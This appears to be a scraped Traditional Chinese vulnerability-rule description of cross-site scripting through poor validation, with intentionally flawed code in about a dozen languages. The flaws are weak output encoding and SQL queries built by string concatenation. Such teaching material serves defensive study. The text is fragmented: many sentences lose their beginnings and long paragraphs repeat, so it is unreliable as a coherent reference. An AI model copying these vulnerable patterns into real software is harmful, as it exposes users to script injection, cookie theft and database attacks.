text 只包含標準英數字元，則這個範例中的程式碼會正確地執行。若 text 具有單引號、小括號及分號，則會結束 alert 文字方塊，並在此後執行程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。user，並向使用者顯示。
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", html.EscapeString(user))
}
user 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 user 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", html.EscapeString(name))
}
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果沒有對所有儲存在資料庫中的資料進行適當的輸入驗證，那麼攻擊者即可在使用者的網頁瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其極其隱蔽，會因為間接的資料儲存方式而難以辨別該威脅，並會提高影響多個使用者的可能性。XSS 弱點會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所示，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由網頁瀏覽器執行時，就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所示，應用程式會將危險資料儲存在資料庫或其他可信任的資料存放區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者執行需要權限許可的操作，或者取得存取使用者專屬敏感資料的權限。escapeXml="true" 屬性 (預設行為) 的 <c:out/> 標籤能夠防止部分，但非全部的 Cross-Site Scripting 攻擊。根據資料出現的內容，以 HTML 編碼的基本 <、>、& 和 "，以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元，可能會有中繼意義。依賴這類編碼建構等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊，並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容，所以即使已套用編碼，Fortify Static Code Analyzer 還是會報告 Cross-site scripting 發現，並將其顯示為 Cross-Site Scripting: Poor Validation 問題。eid，並透過 <c:out/> 標籤將其向使用者顯示。
Employee ID: <c:out value="${param.eid}"/>
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。<c:out/> 標籤列印相應的員工姓名。
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>
Employee Name: <c:out value="${name}"/>
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。
...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(URLEncoder.encode(url));
...
url 的值以 javascript: 開頭，隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 3 所述，應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料，且之後這些危險資料會被當作信賴的資料回讀到應用程式，並會包含在動態內容中。eid，將識別碼去除，然後顯示給使用者。
<SCRIPT>
var pos=document.URL.indexOf("eid=")+4;
document.write(escape(document.URL.substring(pos,document.URL.length)));
</SCRIPT>
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。escapeXml="true" 屬性 (預設行為) 的 <c:out/> 標籤能夠防止部分，但非全部的 Cross-Site Scripting 攻擊。根據資料出現的內容，以 HTML 編碼的基本 <、>、& 和 "，以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元，可能會有中繼意義。依賴這類編碼建構等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊，並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容，所以即使已套用編碼，Fortify Static Code Analyzer 還是會報告 Cross-site scripting 發現，並將其顯示為 Cross-Site Scripting: Poor Validation 問題。eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。
...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(URLEncoder.encode(url))
...
url 的值以 javascript: 開頭，隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 3 所述，應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料，且之後這些危險資料會被當作信賴的資料回讀到應用程式，並會包含在動態內容中。myapp://input_to_the_application) 並呼叫之。然後 URL 中不可信賴的資料便會被用來在 UIWebView 元件中攻擊 HTML 輸出。
...
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
...
UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
NSString *htmlPage = [NSString stringWithFormat: @"%@/%@/%@", @"...<input type=text onclick=\"callFunction('",
[DefaultEncoder encodeForHTML:partAfterSlashSlash],
@"')\" />"];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:htmlPage baseURL:nil];
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以較不危險，是因為 name 的值是從資料庫中讀取的，且為 HTML 編碼。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。攻擊者支援的攻擊可能會略過編碼字元或將輸入置於不受 HTML 編碼影響的環境中。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從自訂 URL 架構讀取資料，並反映於 UIWebView 回應內容中。當攻擊者誘使使用者提供危險內容給易受攻擊的 iOS 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的自訂架構 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊應用程式的 URL。應用程式將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含工作階段資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。htmlspecialchars()或htmlentities()) 可防止部分，但不是所有 Cross-Site Scripting 攻擊。根據資料出現的內容，以 HTML 編碼的基本 <、>、&和"，以及以 XML 編碼的 <、>、&、"和' (僅限在設定ENT_QUOTES時) 以外的字元，可能會有中繼意義。依賴這類編碼功能等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊，並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容，所以即使套用編碼，並以 Cross-Site Scripting 來加以顯示，Fortify Secure Coding Rulepacks 還是會報告 Cross-Site Scripting 發現：Poor Validation 問題。text 參數，使用 HTML 加以編碼並將該參數顯示在 Script 標籤之間的警示方塊中。
<?php
$var=$_GET['text'];
...
$var2=htmlspecialchars($var);
echo "<script>alert('$var2')</script>";
?>
text 只包含標準英數字元，則這個範例中的程式碼會正確地執行。若 text 具有單引號、小括號及分號，則會結束 alert 文字方塊，並在此後執行程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。eid，使用 URL 加以編碼並顯示給使用者。
...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || HTMLDB_UTIL.url_encode(eid) || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || HTMLDB_UTIL.url_encode(name) || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。eid、使用 HTML 加以編碼，並將識別碼顯示給使用者。
req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + escape(eid))
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + escape(row["emp"]))
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。eid，使用 HTML 加以編碼並顯示給使用者。
eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。Example 1 中的的 Rack::Request#params()，會同時看到 GET 和 POST 參數，所以可能容易受到各種類型的攻擊，而不是只會使惡意程式碼附加到 URL 而已。
...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。eid，並向使用者顯示。
def getEmployee = Action { implicit request =>
var eid = request.getQueryString("eid")
eid = StringEscapeUtils.escapeHtml(eid); // insufficient validation
val employee = getEmployee(eid)
if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。myapp://input_to_the_application) 並呼叫之。然後 URL 中不可信賴的資料便會被用來在 UIWebView 元件中攻擊 HTML 輸出。
...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以較不危險，是因為 name 的值是從資料庫中讀取的，且為 HTML 編碼。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。攻擊者支援的攻擊可能會略過編碼字元或將輸入置於不受 HTML 編碼影響的環境中。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。
...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...
inputTextField 中的文字只包含標準英數字元，這個範例中的程式碼便會正常運作而不會有問題。如果 inputTextField 中的文字包括中繼字元或原始程式碼，那麼網路瀏覽器就會像顯示 HTTP 回應那樣，可能會將輸入當成程式碼來執行。Example 1 所述，會直接從自訂 URL 架構讀取資料，並反映於 UIWebView 回應內容中。當攻擊者誘使使用者提供危險內容給易受攻擊的 iOS 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的自訂架構 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊應用程式的 URL。應用程式將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含工作階段資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 3 所述，目標應用程式以外的來源會使用目標應用程式的自訂 URL 架構提出 URL 要求，之後來自此 URL 要求的未驗證資料會被當作信賴的資料讀回到應用程式，並會包含在動態內容中。eid，使用 HTML 加以編碼並顯示給使用者。
...
eid = Request("eid")
Response.Write "Employee ID:" & Server.HTMLEncode(eid) & "<br/>"
..
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & Server.HTMLEncode(objADORecordSet("name"))
objADORecordSet.MoveNext
Wend
...
